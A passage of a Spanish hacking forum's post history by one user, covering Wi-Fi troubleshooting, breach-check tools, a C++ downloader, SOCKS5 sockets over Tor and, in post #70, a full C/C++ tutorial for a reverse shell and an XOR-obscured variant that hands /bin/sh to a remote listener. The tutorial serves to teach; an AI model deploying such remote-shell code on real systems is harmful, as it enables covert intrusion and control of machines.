Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - d3adly

#61
El mismo mensaje te dice:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
An Unknown Error Occurred
{ "statusCode": 401, "message": "Access denied due to improperly formed hibp-api-key." }
La api-key que que realiza la peticion no es valida y por lo tanto no se autoriza la peticion al servidor.

Y en la web You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, especifica que para obetener una api-key valida debes pargar el monto de US$3.50 mensual, asi que si no quieres pagar esa cantidad puedes verificar las herramientas que te sugiere @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
También puedes pasarte por el siguiente artículo del mismo foro, es una herramienta un tanto parecida:
Repositorio (fork): You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Artículo: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Y también podrías ver la herramienta que hizo el compañero @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login :

LeakChecker: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Saludos.
#62
Hola @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
En la terminal corre lo siguiente
Código: text

git clone https://github.com/thewhiteh4t/pwnedOrNot.git
cd pwnedOrNot
pip3 install requests


Uso basico
Código: text

python3 pwnedornot.py -e <email>


Informacion mas detallada en el repositorio You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
intento instalar OSINT tal como se indica aqui
El nombre de la herramienta es pwnedOrNot.
(OSINT) es el tipo de herramienta:
La inteligencia de codigo abierto (OSINT)  es inteligencia producida a partir de informacion disponible publicamente que se recopila.
#63
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Quiero saber si puedo acceder a su cuenta de facebook para ver si consigo información de cualquier tipo que me ayude a llegar a el.

Hola @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Segun las normas You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Citar
II. Dudas no éticas.

Las dudas no éticas son, por desgracia, muy comunes en los foros de hacking y seguridad informática. Underc0de es un foro de ethical hacking, y así mismo se pide que las dudas sean éticas, es decir, sin contenido con fines ilícitos. A continuación, se listarán ciertas temáticas que realmente no tienen lugar en ethical hacking.

— Cómo hackear un Facebook.
— Cómo infectar a mi novia/o, sospecho que me engaña.

Estos son pocos ejemplos de situaciones que se generan frecuentemente en múltiples comunidades de hacking. Se solicita por favor evitar este tipo de publicaciones, dado que incumplen la normativa de la sección.

Lamento tu situacion, siempre hay personas sin escrupulos realizando este tipo de acciones, lo mejor es acudir a la policia local y realizar la denuncia. En los alrededores del lugar de intercambio puede existir alguna camara que ayude a identificar a la persona en cuestion.
Por mas legitimo que sea tu inconveniente no creo que alguien de aqui te ayude en la situacion.
#64
C / C++ / Re:Descargar archivos usando C++
Junio 05, 2020, 03:00:30 AM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Sencillo y muy claro de entender.
Idóneo para aprender, desde un marco teórico documentado, y con el código práctico, de fácil lectura.

Gracias @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login esa era la idea.
#65
C / C++ / Descargar archivos usando C++
Junio 05, 2020, 01:21:04 AM
Hola comunidad, hoy les comparto mi clase con el cual podran descargar archivos desde C++.

Primero un poco de teoria:

El proceso que realiza un programa normal como un navegador web (firefox, chrome, etc...) para descargar un archivo es el siguiente:

  • Envia un paquete con la ruta del archivo deseado en cuestion
  • Recibe la respuesta del servidor el cual contiene la informacion del archivo, como el tamaño y tipo de archivo entre otra informacion
  • Continua leyendo del socket hasta que no se encuentren mas bytes para leer o logre el tamaño del archivo

El paquete enviando por el navegador puede ser parecido a este:
Código: text

GET /descargas/archivos/archivo.zip HTTP/1.1
Host: www.website.com
User-Agent: Juanker v2

La primera linea contiene el comando GET(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login), usado para obtener datos del recurso especificado, en este caso:
          /descargas/archivos/archivo.zip
Seguido de HTTP/1.1 que es la version de HTTP a usar en la comunicacion. Luego cada dato enviado al servidor va en este formato:
Campo : Valor
El campo Host lleva el nombre de dominio al cual se desea enviar la peticion. Este campo es muy util en servidores que almacenan multiples dominios, logrando asi identificar a cual dominio virtual(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login) pertenece la peticion enviada por el navegador.
Y el campo User-Agent, aloja el nombre del navegador y otra informacion del mismo, ejemplo:
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

Despues de enviar el paquete recibiria una respuesta parecida a esta:
Código: text

HTTP/1.1 200 OK
Date: Sat, 09 Dec 2025 03:10:00 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 80160806
Content-Type: application/zip


Siendo la primer linea:
Código: text
HTTP/1.1 200 OK

El codigo de respuesta de la ultima peticion, en este caso 200, significa que la peticion fue aceptada, he aqui una lista de los codigos que puede retornar un servidor http You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login. Los siguientes campos muestran informacion del sevidor como:
Fecha
Código: text
Date: Sat, 09 Dec 2025 03:10:00 GMT

Version de servidor
Código: text
Server: Apache/2.4.29 (Ubuntu)


Tambien informacion del recurso solicitado /descargas/archivos/archivo.zip
Tamaño en bytes
Código: text
Content-Length: 80160806

Tipo de recurso
Código: text
Content-Type: application/zip


A esta respuesta del servidor se le conoce como Cabecera o Headers, seguido de esta informacion sigue el contenido del archivo solicitado en cuestion. Un ejemplo sencillo seria solicitar un archivo de texto plano /descargas/archivos/archivo.txt, se recibe una respuesta como esta:
Código: text
HTTP/1.1 200 OK
Date: Sat, 09 Dec 2025 03:10:00 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 86
Content-type: text/plain

Este es un archivo de texto
que contiene varias lineas
informacion y mas information

Nota que esta vez el campo Content-type cambio a text/plain ya que este es el tipo de archivo que se ha solicitado. Extensiones MIME You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Para armar el paquete usando codigo se podria realizar asi:
Código: cpp

char Packet[] = "GET /descargas/archivos/archivo.zip HTTP/1.1\r\n"\
                "Host: www.website.com\r\n"\
                "User-Agent: Juanker v2\r\n\r\n";


El \r\n al final de cada linea(a excepcion de la ultima que contiene \r\n\r\n) es requerido en cada paquete HTTP que se envia o recibe usando este protocolo.
\r (Carriage Return), es un control de caracter usado para resetear la posicion del dispositivo al inicio de la linea de texto, \n (New Line), es un caracter usado para indicar el final de la linea actual e iniciar una nueva. El contenido del archivo que hemos solicitado al sevidor viene seguido de los ultimos 4 caracteres (\r \n \r \n).

Resumiendo, el navegador envia la peticion y recibe la respuesta con los datos del archivo solicitado y empieza a escribir al archivo todo lo que reciba despues de (\r \n \r \n).

El proyecto You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Como usarlo?
Código: cpp

//Se crea el objeto
Downloader down;
//Llamada a la funcion Download con la url como parametro
if(down.Download("http://www.website.com/ruta/al/fichero.rar"){
std::cout<<"Descarga satisfactoria\n";
}

La clase Downloader realiza toda la "magia", se crea un nuevo objeto y se llama la funcion Download que recibe como parametro la url del archivo a descargar, el puerto puede ir junto con la url You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, tambien sigue redirecciones y hace uso de openssl para realizar descargas de servidores que utilizen SSL, sigo mejorandola y cualquier comentario es bien apreciado.
Tambien trae una barra de carga  ;D.
#66
Hola @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
System.IO.FileNotFoundException: No se puede cargar el archivo o ensamblado 'netstandard, Version=2.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51' ni una de sus dependencias. El sistema no puede encontrar el archivo especificado.
Nombre de archivo: 'netstandard, Version=2.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51'
Probablemente se deba a la version de .Net que tiene la computadora en cuestion. Si pudieras adjuntar la seccion de codigo donde se provoca el error o crasheo seria mas facil proporcionar ayuda.

Saludos.
#67
Dudas y pedidos generales / Re:Problema Wifi
Junio 03, 2020, 03:50:18 PM
Intenta desactivando la interface y reactivandola:
Código: text

sudo ifconfig <interface> down
sudo iwconfig <interface> mode managed
sudo ifconfig <intercace> up


Tambien verifica que el router no este bloqueando tu direccion mac.
#68
Hacking / Re:Shell Inversa "Cifrada"
Junio 03, 2020, 02:18:19 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Simplemente como contenido adicional, para casos en los que se desee hacerlo de forma muy simple sin tener que desarrollar nada. Las shells remotas cifradas se pueden hacer via socat. De hecho socat bajo mi punto de vista es muchísimo mas versatil que nc para muchas cosas.
Gracias por la informacion @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Excelente @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, muy buenos post's, y como siempre, son un placer leerlos  8)
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login Me alegra que te gusten .
#69
Hacking / Re:Shell Inversa "Cifrada"
Junio 03, 2020, 01:52:29 AM
Gracias @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login  ;D
#70
Hacking / Shell Inversa "Cifrada"
Junio 03, 2020, 12:18:09 AM
Hola comunidad les comparto un proyecto en el cual he estado trabajando, si no es la sección correcta del foro pido disculpas.
Inicialmente el proyecto esta dirijido a sistemas Linux, aunque pienso hacer una segunda parte para Windows.

Primero lo basico, una shell inversa normal en linux se realiza normalmente despues creada la conexión con el servidor lo siguiente:
fork       You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login - mas adelante se vera aplicado
dup2     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
execve You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

fork: Realiza una copia excata del proceso que lo llamo, a diferencia que la copia posee su propio identificador de proceso (Process ID).
dup2: Los parametros de esta funcion son 2 dup2(int oldfd, int newfd), esta función hace que el descriptor de archivo newfd sea una copia de oldf.
execve: Recibe tres parametros execve(const char *filename, char *const argv[],char *const envp[]), siendo el primero el archivo a ejecutar, char *const argv[] los argumentos que se le pasan al ejecutable en cuestion, y char *const envp[] las variables de entorno, esta función remplaza los segmentos de datos:
Text,Data, Bss y el Stack del proceso el cual llama la funcion. You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Habiendo cubierto lo basico de estas funciones aqui un ejemplo de una shell inversa normal:
Código: c

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 1337

int main(int argc, char *argv[])
{
    struct sockaddr_in server;
    int socket;

    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    server.sin_port = htons(REMOTE_PORT);

    socket = socket(AF_INET, SOCK_STREAM, 0);
    connect(socket, (struct sockaddr *)&server, sizeof(server));
    dup2(socket, 0);
    dup2(socket, 1);
    dup2(socket, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}


Justo en la linea 21 despues de haberse conectado con el servidor, miramos tres llamadas a la funcion dup2 antes descrita. Realiza una copia del socket a tres descriptores de archivo distintos: 0 1 y 2 que son:
0: stdin    - Standard Input:      Es el descriptor de archivo por el cual el proceso lee la información ingresada por el usuario.
1: stdout - Standard Output:  Descriptor usado por el proceso para mostrar información al usuario.
2: stderr  - Standard Error:      Usado por el proceso para escribir información sobre errores.
Luego de esas tres llamadas, cada operación realizada en alguno de estos tres descriptores de archivo sera atravez del socket, lo que reciba el socket sera escrito directamente a stdin, y todo lo que salga de stdout y stderr sera escrito al socket.

Despues se llama a la funcion execve, la cual remplaza la imagen del programa en memoria y ejecuta el binario /bin/sh, ahora cada dato que reciba el socket se escribira en el descriptor de archivo stdin, que a su vez recibira el nuevo programa ejecutado, y toda modificación a los descriptores de archivos stdout/stderr seran escritas al socket gracias a las llamadas de la funcion dup2. Solo tocaria escuchar en el puerto especificado y se recibe una shell inversa:
Código: text
$ nclokita -lp PUERTO
.

Hasta aqui todo bien, aunque toda la informacion que se intercambia viaja en texto plano, y si queremos aplicar un tipo de "cifrado" la cuestion en si es manipular los datos antes de ser enviados y recibidos, y aqui entran en juegos los pipes (tuberias).
Los pipes vienen bien a la hora de comunicacion entre procesos. Un ejemplo sencillo seria:
Código: text
$ cat file.txt | wc -l 

El resultado del comando anterior mostraria la cantidad de lineas que contiene el archivo file.txt, nota el | en medio de de file.txt y wc, esto indica al comando cat que todo lo que vaya a escribir a stdout lo redirija a el stdin de wc.

Ahora el funcionamiento de la shell inversa "cifrada" una vez conectada al servidor y ejecutado el programa debe ser el siguiente:

  • Leer datos del socket
  • Descifrar los datos
  • Escribir la informacion al stdin del programa
  • Leer del stdout/stderr la salida del comando antes ejecutado
  • Cifrar los datos leidos
  • Escribir los datos cifrados al socket
Ahora para lograr manipular los datos antes de escribir o leer al programa se hace el uso de pipes antes lijeramente explicados, haciendo uso de la funcion pipe You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login. Un pipe tiene dos partes

  • Punto de lectura READ-END
  • Punto de escritura WRITE-END
                             

Y observando el ejemplo que nos provee You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, podemos observar el uso de fork junto con pipe para crear una copia del programa y realizar una comunicacion entre los dos, escribiendo en un extremo del pipe y leyendo del otro extremo. Aplicando este metodo podemos manipular los datos antes de ser enviados o recibidos atravez del socket.

Asumiendo que la conexión con el servidor ya esta realizada, pasemos a ver como implementar nuestra función para leer y escribir del programa ejecutado.
Primero creamos dos pipes uno que servira de escritura y el otro de lectura,
nota: los siguientes codigos no tienen comprobación de errores, y estan escritos asi para una demostracion
Código: cpp

int InPipe[2];
int OutPipe[2];
pipe(InPipe);
pipe(OutPipe)
//Si hay error las funciones retornan -1

Una vez creadas las tuberias se procede a realizar un fork, para asi realizar una copia del programa en memoria el cual procederemos a remplazar con un ejecutable, en este caso /bin/sh
Código: cpp

pid_t pid = fork();
if(pid == 0){
   //Este es el hijo (child) del proceso que se esta ejecutando
   //el cual a su vez es una copia exacta del proceso excepto el Process ID
} else if(pid > 0) {
   //Esta es la seccion que se sigue ejecutando despues de la llamada a fork (proceso padre)
} else {
   //Si fork no es >= 0 entonces la llamada fallo
}


Ahora en la seccion del proceso hijo realizaremos lo siguiente:
Código: cpp

//Copiamos a stdin el extremo READ-END de InPipe
dup2(InPipe[0], 0);

//Copiamos a stdout el extremo WRITE-END de OutPipe
dup2(OutPipe[1], 1);

//Igual que el anterior copiamos a stderr el extremo WRITE-END de OutPipe
dup2(OutPipe[1], 2);

Con esto logramos que cualquier lectura/escritura realizada a los descriptores de fichero stdin/stdout/stderr, sean atravez de los pipes respectivamente:

  • Escribiendo a InPipe[1] lo leera el otro extremo InPipe[0] que ahora esta en stdin
  • Leemos de stdout/stderr atravez de OutPipe[0]
Continuando la seccion del proceso hijo:
Código: cpp

//Se llama la funcion execve con los parametros deseados
//Si quisieramos pasar argumentos al programa se hacen en el array arg
//Ejemplo  char *arg[] = {"arg1", "arg2", "arg2" ...}
char *arg[] = {nullptr};
char *env[] = {nullptr};
//Ejecuta el programa especificado y remplaza la imagen en memoria de la copia que hemos creado previamente con fork()
execve("/bin/sh", arg, env);
exit(0);


Ahora en la seccion del proceso padre crearemos un thread (hilo) para leer el stdout del programa antes ejecutado, cabe mencionar que esta parte se puede implementar junto a otro fork y uniendo dos pipes, pero en este ejemplo lo realizaremos usando threads
Código: cpp

//Se crea un thread de la funcion LeerStdout con el parametro OutPipe[0]
//el cual es el extremo que lee del proceso antes ejecutado
std::thread th1(LeerStdout, OutPipe[0]);
int iBytes = 0;
char CmdBuffer[1025]; //para mega comandos larguisimos juaker
while(1){
   //recibimos los datos del servidor
   iBytes = recv(Socket, CmdBuffer, 1024, 0);
   if(iBytes > 0){
      CmdBuffer[iBytes] = '\0';
      //escribimos al extremo WRITE-END de InPipe
      write(InPipe[1], CmdBuffer, strlen(CmdBuffer));
   }
}
th1.join();

Luego la funcion LeerStdout:
Código: cpp

void LeerStdout(int Pipe){
   chad CmdBuffer[256];
   int iRet = 0, iRet2 = 0;
   while(1){
      //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
      iRet = read(Pipe, &CmdBuffer, 255);
      //Enviamos los datos leidos de stdout/stderr al servidor
      iRet2 = send(Socket, CmdBufer, iRet);
   }
}

Con esto se concluye el codigo basico sin "cifrar" del cliente esto vendria a ser similar al primer ejemplo de arriba. Pero ahora podemos manipular los datos a nuestro antojo aplicando asi un metodo de encriptación a la información para que esta no viaje en texto plano. En el ejemplo usare XOR, pero con esta base se puede implementar el algoritmo deseado. El codigo de ejemplo se modificaria asi:
Código: cpp

//Funcion de cifrado XOR
std::string XOR(const std::string Data, const std::string Password){
   std::string Final = "";
   for(char cD : Data){
      for(char cS : Password){
         cD ^= cS;
      }
      Final.append(1, cD);
   }
   return Final;
}

El codigo del proceso padre:
Código: cpp

std::thread th1(LeerStdout, OutPipe[0]);
int iBytes = 0;
char CmdBuffer[1025]; //para mega comandos larguisimos juaker
while(1){
   //recibimos los datos cifrados del servidor
   iBytes = recv(Socket, CmdBuffer, 1024, 0);
   if(iBytes > 0){
      CmdBuffer[iBytes] = '\0';
      std::string Descifrado = XOR(std::string(CmdBuffer), std::string("password"));
      //Ahora descifrado contiene el comando descifrado que envio el servidor
      //escribimos al extremo WRITE-END de InPipe el contenido descifrado
      write(InPipe[1], Descifrado.c_str(), Descifrado.length());
   }
}
th1.join();

El codigo de la funcion que lee el stdout/stderr del proceso hijo:
Código: cpp

void LeerStdout(int Pipe){
   chad CmdBuffer[256];   
   int iRet = 0, iRet2 = 0;
    while(1){
       //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
       iRet = read(Pipe, &CmdBuffer, 255);
       std::string Cifrado = XOR(std::string(Cmdbuffer), std::string("password"));
       //ahora Cifrado contiene el resultado de lo leido del pipe cifrado con XOR
       //Enviamos los datos cifrados leidos de stdout/stderr al servidor
       iRet2 = send(Socket, Cifrado.c_str(), Cifrado.length());
    }
}


Esa seria la implementación de pipes junto con fork y execve para obetener una shell inversa "cifrada". Les dejo mi proyecto en github You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Ahora un mini tutorial usando mi codigo de github  ;D:
Clonar repo
Código: text
git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git


Abrir el archivo Client.cpp y modificar el valor de la variable strPassword dentro de la clase Client con una clave deseada.
Luego modificar la funcion main con la ip y puerto hacia los cuales se conectara el cliente.
Código: cpp

Cli->Connect("IP", "PUERTO")

Abrir el archivo Server.cpp y modificar la funcion main cambiando el puerto de esucha y clave a usar en la comunicación
Código: cpp

Server *Srv = new Server(1337, "aiiiuuudaaaaa");

Y compilar con:
Código: text
g++ -Wall -Wextra Client.cpp -o Client -pthread

Código: text
g++ -Wall -Wextra Server.cpp -o Server -pthread

Eso es todo espero hayan aprendido algo nuevo y le den un buen uso.

Saludos.
#71
Dudas y pedidos generales / Re:Linux lite?
Junio 01, 2020, 08:05:45 PM
La distro esta basada en Ubuntu y esta en Debian.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Y aque tienes una guia de como instalar las herramientas de kali
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#72
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Hola,
¿Comprobaste si tu adaptador wifi soporta el modo monitor? A mi me paso exactamente lo mismo y me di cuenta que mi adaptador wifi que viene con mi computador no acepta modo monitor y no puede escanear redes. Tuve que comprar una adicional para ese propósito.


si  soporta modo monitor Ltd. RTL8723BE PCIe Wireless Network Adapter

Como root prueba:
Código: text

ifconfig <nombre interface> down
iwconfig <nombre interface> mode monitor
ifconfig <nombre interface> up


Si al correr wash no te siguen apareciendo redes es probable que no detecte alguna con wps habilitado.
#73
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
pero le pongo ganas y eso es lo que importa !
Asi es, eso es lo importante. Nadie nace sabiendolo todo, si practicas mucho adquiriras bastante conocimiento, no te desanimes o frustes cuanto algo no te funcione, en cambio es cuando mas debes echarle ganas, suerte  ;D.
#74
@lemos.ema

Lo prodrias hacer comparando el valor:
Código: php

if($json2['graphql']['shortcode_media']['caption_is_edited'] === "False"){
   $IsEdited = false;
} else {
   $IsEdited = true;
}


O en una sola linea
Código: php

$IsEdited = ($json2['graphql']['shortcode_media']['caption_is_edited'] === "False") ? false : true;
#75
Prueba con una version diferente del juego, puede ser que despues de todo sea el ejecutable que te este causando problemas
#76
Dudas y pedidos generales / Re:Ayuda! Error de Wine
Mayo 30, 2020, 06:30:42 PM
Hola @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
Al parecer debe ser un error de instalacion o permisos, sin embargo no es necesario que tengas wine para correr UTorrent.
Aqui You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login podras encontrar las versiones para sistemas Linux,  puedes bucar la que mas se adapte a tu distribucion e instalarla.
#77
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Se está tardando mucho, es normal?

Si ya que estas compilando wine, por lo cual puede demorarse un poco, espero te funcione.
#78
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login respecto a
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Intenté seguir ambos tutoriales para instalar Wine, al primero le tuve esperanza, ya que se envolvía con el archivo comprimido que descargué, he aquí como me fue;
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

No tienes gcc instalado, una vez hayas resuelto los problemas de paquetes rotos
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Acaba de romper un paquete, pero no se preocupe es un proceso normal y tiene solución. Prefiero dejarle referencias a personas que han dedico su tiempo en un artículo completo y muy explicado: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

corre el siguiente comando para instalar gcc
Código: text
sudo apt-get intall gcc


Luego regresa a la carpeta del wine y corre nuevamente ./configure
#79
C / C++ / Re:Sockets usando la red TOR C++
Mayo 29, 2020, 11:41:25 PM
Gracias @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login esa es la idea :)
#80
C / C++ / Sockets usando la red TOR C++
Mayo 29, 2020, 09:34:07 PM
Hola a todos.
Hoy comparto con ustedes el manejo de sockets mediante la red TOR. Suponiendo que ya se tiene tor instalado y corriendo en el puerto por defecto 9050 proseguimos.
Primero debemos entender sobre la negociacion o Handshake que se lleva a cabo al conectar con un proxy. En el Request For Comment RFC 1982 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, pueden obtener mas información con respecto al proceso de conexión, en este post solo cubriremos conceptos basicos.
El Handshake basico se podria representar de la siguiente manera



Y sigue este flujo:
Primero el cliente en este caso PC A, envia una secuencia de tres bytes (5, 1, 0) al servidor proxy. El primer byte especifica la version de socks a usar en este caso 5, el segundo byte es para propositos de autenticación, especifica los metodos soportados por el cliente para autenticarse 1, y el tercer byte es el tipo de autenticación, en este caso 0 (sin autenticación), si la conexión se quiere realizar mediante usuario/contraseña entonces este ultimo byte seria 2.

Se envia la secuencia de bytes y el servidor responde con dos bytes, en esta caso (5, 0), siendo el primer byte la version de socks a utilizar 5, y el segundo el metodo de autenticación 0 (sin autenticación). Si el servidor requiere de autenticación responderia con 5,2, pero ya que utilizaremos un proxy local sin este metodo deberia de responder siempre con 5,0.

A continuación se envia la secuencia de bytes (5, 1, 0, 3, Host, Puerto), siendo el primer byte 5 como se menciona anteriormente la version de socks, el segundo byte 1 es el codigo de comando, que puede ser uno de los siguientes valores:

1 = Establecer conexión TCP/IP.
2 = Establece un enlace de puerto TCP/IP.
3  = Asocia un puerto UDP.

En este caso usaremos el primero 1 (Establecer conexión TCP/IP) , el tercer byte 0 es un byte reservado y debe ser 0, el cuarto byte 3 es el tipo de direccion del host que puede ser una de las siguientes:

1 = Dirección IPv4, seguida por la IP de 4 bytes
3 = Nombre de dominio, 1 byte para la longitud del nombre seguido del nombre del host.
4 = Dirección IPv6, seguida de la IP de 16 bytes.

Usaremos el byte 3 (Nombre de dominio, 1 byte para la longitud del nombre seguido del nombre del host), y el ultimo byte vendria siendo el numero de puerto en orden de red de 2 bytes You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Si todo va bien el servidor proxy responde con la secuencia 5, 0, 0, 1, Host, Puerto , siendo el segundo byte 0 el estado de la negociación, en esta caso el 0 indica que todo ha salido bien, el tercer byte es reservado y es 0, y los ultimos tres vendrian siendo el tipo de dirección, dirección y puerto en orden de red.

Habiendo entrado en lo basico del proceso de comunicación con el servidor veamos como aplicarlo en código

Una vez realizada la conexión inicial con el servidor:
Código: cpp
char buffer[3];
buffer[0] = 0x05;  //Version de socks
buffer[1] = 0x01; //Metodos de autenticacion soportados por el cliente
buffer[2] = 0x00; //Metodo de autenticacion a utilizar : Sin Autenticacion
send(Socket, buffer, 3, 0);
Enviamos la secuencia de tres bytes 0x05, 0x01, 0x00,  (0x05 - Version Socks    0x01 - Metodos soportados de autenticacion por el cliente    0x00 - No usar autenticacion).

Acto seguido recibimos la respuesta del servidor y verificamos si el estado del segundo byte es 0
Código: cpp
char rbuffer[10];
recv(Socket, rbuffer, 10, 0);
if(rbuffer[1] == 0x00){
   //primera parte de negociacion correctamente
}

Ahora se procede a crear la ultima secuencia de bytes con los datos del destino al cual conectarnos
Código: cpp
char fbuff[256];
memset(fbuff, 0, 256);
fbuff[0] = 0x05;  //version de socks
fbuff[1] = 0x01;  //Codigo de comando
fbuff[2] = 0x00;  //Byte reservado
fbuff[3] = 0x03; //Tipo de direccion del host

short host_port = htons(PORT);                  //convierte el numero de puerto a orden de bytes de red
char host_len = (char)strlen(HOSTNAME);        //Se obtiene la longitud del nombre host en un byte
memcpy(fbuff + 4, &host_len, 1);                //Luego se unen los datos junto con la secuencia anterior
memcpy(fbuff + 5, HOSTNAME, host_len);
memcpy(fbuff + 5 + host_len, &host_port, 2);

send(Socket, fbuff, 7 + host_len, 0);         //Se envia la secuencia de bytes

Y por ultimo recibimos la respuesta del servidor proxy, si el segundo byte es 0 significa que el proceso de negociación ha finalizado correctamente
Código: cpp
recv(Socket, rbuffer, 10, 0);
if(rbuffer[1] == 0x00){
    //proceso de negociacion completo
    //Ahora se procede a intercambiar datos con el host de destino 
}

Y sin mas mi código de una simple peticion HTTP usando TOR:

Código: cpp
#include<iostream>
#include<cstring>
#include<cstdlib>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<netinet/in.h>
#include<netdb.h>
#include<unistd.h>
#include<signal.h>

class TorSocket{
   private:
	int SocketD;
   public:
	int Connect(const char *cHostname, int iPort, const char *torhost = "127.0.0.1", const char *torport = "9050"){
		struct sigaction act;
		memset(&act, 0, sizeof(act));
		act.sa_handler = SIG_IGN;
		act.sa_flags = SA_RESTART;
		sigaction(SIGPIPE, &act, 0);
		struct addrinfo client, *addrs, *addr;
		char rBuffer[10];
		int iReceived = 0;
		memset(&client, 0, sizeof(client));
		client.ai_family = AF_UNSPEC;
		client.ai_socktype = SOCK_STREAM;
		client.ai_protocol = IPPROTO_TCP;
		int iStatus = getaddrinfo(torhost, torport, &client, &addrs);
		if(iStatus!=0){
			std::cout<<"Error getaddrinfo\n";
			return -1;
		}
		for(addr = addrs; addr != nullptr; addr = addr->ai_next){
			if((this->SocketD = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol)) == -1){
				continue;
			}
			if(connect(this->SocketD, addr->ai_addr, addr->ai_addrlen) == -1){
				continue;
			}
			break;
		}
		freeaddrinfo(addrs);
		if(this->SocketD == -1){
			std::cout<<"No se pudo conectar al proxy\n";
			return -1;
		}
		char cByteSequense1[3] = {0x05, 0x01, 0x00}; 
		send(this->SocketD, cByteSequense1, 3, 0);
		iReceived = recv(this->SocketD, rBuffer, 10, 0);
		if(iReceived > 0){
			if(rBuffer[0] != 0x05){   
				std::cout<<"Version de socks invalida\n";
				return -1;
			}
			if(rBuffer[1] == 0x00){
				char cByteSequense2[256];
				memset(cByteSequense2, 0, 256);
				cByteSequense2[0] = 0x05; 
				cByteSequense2[1] = 0x01; 
				cByteSequense2[2] = 0x00; 
				cByteSequense2[3] = 0x03;
				short sHost_Port = htons(iPort);
				char cHost_Len = (char)strlen(cHostname);
